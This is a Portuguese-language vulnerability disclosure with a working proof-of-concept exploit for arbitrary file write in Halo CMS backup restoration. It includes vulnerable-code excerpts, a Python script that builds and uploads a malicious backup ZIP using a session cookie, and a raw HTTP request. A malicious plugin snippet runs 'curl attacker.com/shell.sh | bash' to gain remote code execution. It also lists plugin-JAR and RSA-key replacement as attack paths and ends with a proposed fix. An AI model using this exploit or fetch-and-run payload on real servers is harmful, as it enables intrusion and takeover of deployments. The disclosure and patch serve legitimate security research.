
Exploit de prova de conceito para uma vulnerabilidade de escrita arbitrária de arquivos na restauração de backup do Halo CMS, permitindo RCE via substituição de JAR de plugin ou bypass de autenticação.
Existe uma vulnerabilidade crítica de gravação arbitrária de arquivos na funcionalidade de restauração de backup do Halo CMS até a versão 2.25.4. O método restoreWorkdir() em MigrationServiceImpl.java copia o diretório workdir/ de um arquivo de backup fornecido pelo usuário diretamente para o diretório de trabalho da aplicação Halo (~/.halo2/) sem qualquer validação de tipos de arquivo, proteção contra path traversal ou verificação de links simbólicos. Um atacante autenticado com privilégios de gerenciamento de backup pode criar um arquivo ZIP de backup malicioso contendo arquivos arbitrários no diretório workdir/, que serão gravados no diretório de trabalho do servidor durante a restauração, potencialmente levando à Execução Remota de Código (RCE) por meio da substituição de JARs de plugins ou à bypass de autenticação por meio da substituição de chaves RSA.
Pontuação CVSS v3.1: 8.8 (Alta)
Vetor CVSS:
CWE-73 (Controle Externo do Nome ou Caminho do Arquivo)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HA vulnerabilidade reside no método restoreWorkdir() de MigrationServiceImpl.java (linhas 230-243):
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
copyRecursively(workdir, haloProperties.getWorkDir()); // LINHA VULNERÁVEL
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
O método copyRecursively() (o FileSystemUtils do Spring) realiza uma cópia recursiva sem:
.. em nomes de arquivosA vulnerabilidade é acionada por meio do endpoint de restauração de backup:
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data
O processo de restauração segue esta sequência:
┌─────────────────────────────────────────────────────────────┐
│ MigrationServiceImpl.restore() │
│ 1. unpackBackup() → Extrai o ZIP para diretório temporário │
│ 2. restoreExtensions() → Restaura extensions.data │
│ 3. restoreWorkdir() → Copia workdir/ para ~/.halo2/ │
│ ↑ Arquivos arbitrários gravados no diretório de trabalho│
└─────────────────────────────────────────────────────────────┘
Um arquivo ZIP de backup malicioso deve conter:
malicious-backup.zip
├── extensions.data # Obrigatório: Pode estar vazio ou conter JSONL válido
└── workdir/ # Obrigatório: Conteúdo copiado para ~/.halo2/
├── PWNED_BY_POC.txt # Arquivo marcador de prova de conceito
├── plugins/ # JARs de plugins para RCE
│ └── evil-plugin.jar # Plugin malicioso
└── keys/ # Chaves RSA para bypass de autenticação
├── pat_id_rsa # Chave privada maliciosa
└── pat_id_rsa.pub # Chave pública maliciosa
O arquivo extensions.data deve ser válido para que restoreExtensions() tenha sucesso. Formatos válidos incluem:
Arquivo vazio: (conteúdo vazio)
Linha vazia: \n (apenas nova linha)
JSONL válido: Um objeto ExtensionStore por linha:
{"name": "/registry/test/dummy", "data": "e30=", "version": 1}
Onde data é conteúdo codificado em base64.
import zipfile
import io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
# extensions.data vazio (passa na validação do restoreExtensions)
zf.writestr('extensions.data', '\n')
# Arquivo arbitrário para gravar em ~/.halo2/
zf.writestr('workdir/PWNED_BY_POC.txt',
'Gravação arbitrária de arquivo confirmada!')
with open('malicious-backup.zip', 'wb') as f:
f.write(buf.getvalue())
Endereço de Gerenciamento de Backup do Frontend:http://ip:porta/console/backup
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"
null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"
malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"
application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed
<Conteúdo binário do arquivo ZIP>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--

# No servidor Halo
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt

~/.halo2/| Vetor de Ataque | Arquivo Alvo | Impacto | Gravidade |
|---|---|---|---|
| Substituição de JAR de Plugin | ~/.halo2/plugins/*.jar | Execução Remota de Código | Crítica |
| Substituição de Chave RSA | ~/.halo2/keys/pat_id_rsa | Bypass de Autenticação | Crítica |
| Substituição de Tema | ~/.halo2/themes/* | XSS Armazenado | Alta |
| Sobrescrita de Configuração | ~/.halo2/*.yaml | Bypass de Controles de Segurança | Alta |
Um atacante pode substituir um JAR de plugin legítimo por um malicioso contendo:
@Extension
public class MaliciousExtension {
@PostConstruct
public void init() {
// Executa comando arbitrário
Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
}
}
Quando o plugin é carregado, o código malicioso é executado com os privilégios do processo Halo.
#!/usr/bin/env python3
"""
PoC de Gravação Arbitrária de Arquivos na Restauração de Backup do Halo CMS
Vulnerabilidade: Gravação Arbitrária de Arquivos na Restauração de Backup
CVSS: 8.8 (Alta)
"""
import io
import sys
import zipfile
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"
def create_malicious_backup():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('extensions.data', '\n')
zf.writestr('workdir/PWNED_BY_POC.txt',
'Gravação arbitrária de arquivo na restauração de backup do Halo confirmada!')
buf.seek(0)
return buf
def exploit():
backup = create_malicious_backup()
url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
files = {'file': ('backup.zip', backup, 'application/zip')}
headers = {'Cookie': SESSION}
r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
print(f"Status: {r.status_code}")
print(f"Resposta: {r.text[:300]}")
if r.status_code == 200:
print("\n[+] SUCESSO! Verifique: cat ~/.halo2/PWNED_BY_POC.txt")
if __name__ == "__main__":
exploit()
# Executar o PoC
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"
# No servidor Halo
cat ~/.halo2/PWNED_BY_POC.txt
Adicione validação ao método restoreWorkdir():
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
// Validar ausência de path traversal
checkDirectoryTraversal(backupRoot, workdir);
// Validar ausência de links simbólicos
Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
@Override
public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
if (attrs.isSymbolicLink()) {
throw new SecurityException("Links simbólicos não são permitidos");
}
return FileVisitResult.CONTINUE;
}
});
// Copiar com validação
copyRecursively(workdir, haloProperties.getWorkDir());
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.javaEsta divulgação de vulnerabilidade destina-se exclusivamente a fins de pesquisa em segurança. O autor não é responsável por qualquer uso indevido destas informações. Sempre obtenha autorização adequada antes de testar sistemas em busca de vulnerabilidades.